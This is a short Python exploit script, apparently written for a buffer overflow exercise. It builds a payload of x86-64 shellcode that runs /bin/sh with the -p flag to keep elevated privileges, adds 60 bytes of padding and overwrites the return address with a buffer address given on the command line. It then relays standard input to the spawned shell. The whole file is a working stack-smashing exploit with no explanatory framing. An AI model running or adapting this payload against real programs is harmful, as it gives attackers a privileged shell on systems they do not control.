#!/usr/bin/python

import struct
import sys

# Write value of 'buf = '
buf_addr = int(sys.argv[1], 16)

# offset from buf: 120
#  shellcode = 60 byte
#  dummy = 60 byte('A')
shellcode = '\x48\x31\xc0\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x49\x89\xe0\x48\x31\xc0\x48\xc7\xc0\x2d\x70\x00\x00\x50\x49\x89\xe1\x48\x31\xc0\x50\x41\x51\x41\x50\x49\x89\xe2\x48\xc7\xc0\x3b\x00\x00\x00\x4c\x89\xc7\x4c\x89\xd6\x48\x31\xd2\x0f\x05'
shellcode += 'A' * 60

# return address
shellcode += struct.pack('<Q', buf_addr)

print(shellcode)
sys.stdout.flush()

if len(sys.argv) == 3 and sys.argv[2] == "printonly":
    sys.exit()

while True:
    print(sys.stdin.readline())
    sys.stdout.flush()

